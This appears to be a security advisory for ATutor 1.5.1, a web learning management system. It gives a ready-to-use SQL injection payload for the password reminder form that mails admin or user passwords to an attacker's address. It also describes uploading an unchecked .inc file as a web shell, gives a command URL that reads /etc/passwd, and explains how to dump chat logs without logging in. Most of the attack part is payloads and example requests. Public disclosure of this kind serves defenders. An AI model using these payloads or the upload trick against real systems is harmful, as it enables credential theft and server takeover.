ATUTOR 1.5.1 (possibly prior versions) SQL INJECTION / ADMIN & USERS CREDENTIALS DISCLOSURE / INFORMATION DISCLOSURE / USER IMPERSONATION / REMOTE CODE EXECUTION software: site: http://www.atutor.ca/ description: "ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind. Administrators can install or update ATutor in minutes, and develop custom templates to give ATutor a new look. Educators can quickly assemble, package, and redistribute Web-based instructional content, easily retrieve and import prepackaged content, and conduct their courses online. Students learn in an adaptive learning environment." a) if magic_quotes_gpc is off in php.ini - > SQL INJECTION without to have an user account, you can use password remider to send yourself admin login & password, no need for exploit code: go to http://[target]/[path]/password_reminder.php and in the email field type: ' UNION SELECT login, password, 'your_email@domain.com' FROM AT_admins /* look at the vulnerable code in password_reminder.php: ... $sql="SELECT login, password, email FROM ".TABLE_PREFIX."members WHERE email='$_POST[form_email]'"; $result = mysql_query($sql,$db); if ($row = mysql_fetch_assoc($result)) { $r_login = $row['login']; $r_passwd= $row['password']; $r_email = $row['email']; $tmp_message = _AT(array('password_request2',$_base_href))."\n\n"; $tmp_message .= _AT('web_site').' : '.$_base_href."\n"; $tmp_message .= _AT('login_name').' : '.$r_login."\n"; $tmp_message .= _AT('password').' : '.$r_passwd."\n"; require(AT_INCLUDE_PATH . 'classes/phpmailer/atutormailer.class.php'); $mail = new ATutorMailer; $mail->From = EMAIL; $mail->AddAddress($r_email); $mail->Subject = SITE_NAME . ': ' . _AT('password_reminder'); $mail->Body = $tmp_message; if(!$mail->Send()) { //echo 'There was an error sending the message'; $msg->printErrors('SENDING_ERROR'); exit; } $msg->addFeedback('PASSWORD_SUCCESS'); ... $_POST[form_email] is not filtered in any way as you can see, so the query become: SELECT login, password, email FROM AT_members WHERE email='' UNION SELECT login, password, 'your_email@domain.com' FROM AT_admins /*' /* are the Mysql comment chars so this is a valid query $r_login and $r_passord are admin user & passord but $r_email is yours! ;) also, you can have the password of any user typing: ' UNION SELECT login, password, 'your_email@domain.com' FROM AT_members where login='user_whom_you_want_the_password' /* if you want to see if your course server is vulnerable just type ' in email field, you will have an error like this: Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in [pathto]/password_reminder.php on line 27 if not, you will see a message like this: The following errors occurred: * No account found with that email address. b) after you have your stealed admin or educator account (yes, an educator can upload xecutable files :) ) you can execute arbitrary commands on target system uploading an .inc file (this extension is not checked) with php code inside, example: then you can launch commands, example: http://[target]/[path]/atutor/content/2/cmd.inc?cmd=cat%20/etc/passwd (usually upload dir is 'content' if admin do not change it, and subdir is numbered by the time registration of user, you can quickly bruteforce the url manually) look at the list of illegal extensions in config.inc.php: ... /* Illegal file types, by extension. Include any extensions */ /* you do not want to allow for uploading. (Just the extention */ /* without the leading dot.) */ $IllegalExtentions = array('exe','asp','php','php3','bat','cgi','pl','com','vbs','reg','pcd','pif','scr','bas','inf','vb','vbe','wsc','wsf','wsh'); ... but where are .inc, .php4, .phtml, .html, .pwml and so on if you do not set? should be better to setup which kind of files you CAN upload... c) without have an account a user can read chat conversation without to be logged in, making GET requests for chat temporary files: example: http://[target]/[path]/atutor/content/chat/2/msgs/1.message http://[target]/[path]/atutor/content/chat/2/msgs/2.message http://[target]/[path]/atutor/content/chat/2/msgs/3.message ciclyng this GET requests a user can dump all chat archive rgod site: http://rgod.altervista.org mail: retrogod [at] aliceposta.it original advisory: http://rgod.altervista.org/atutor151.html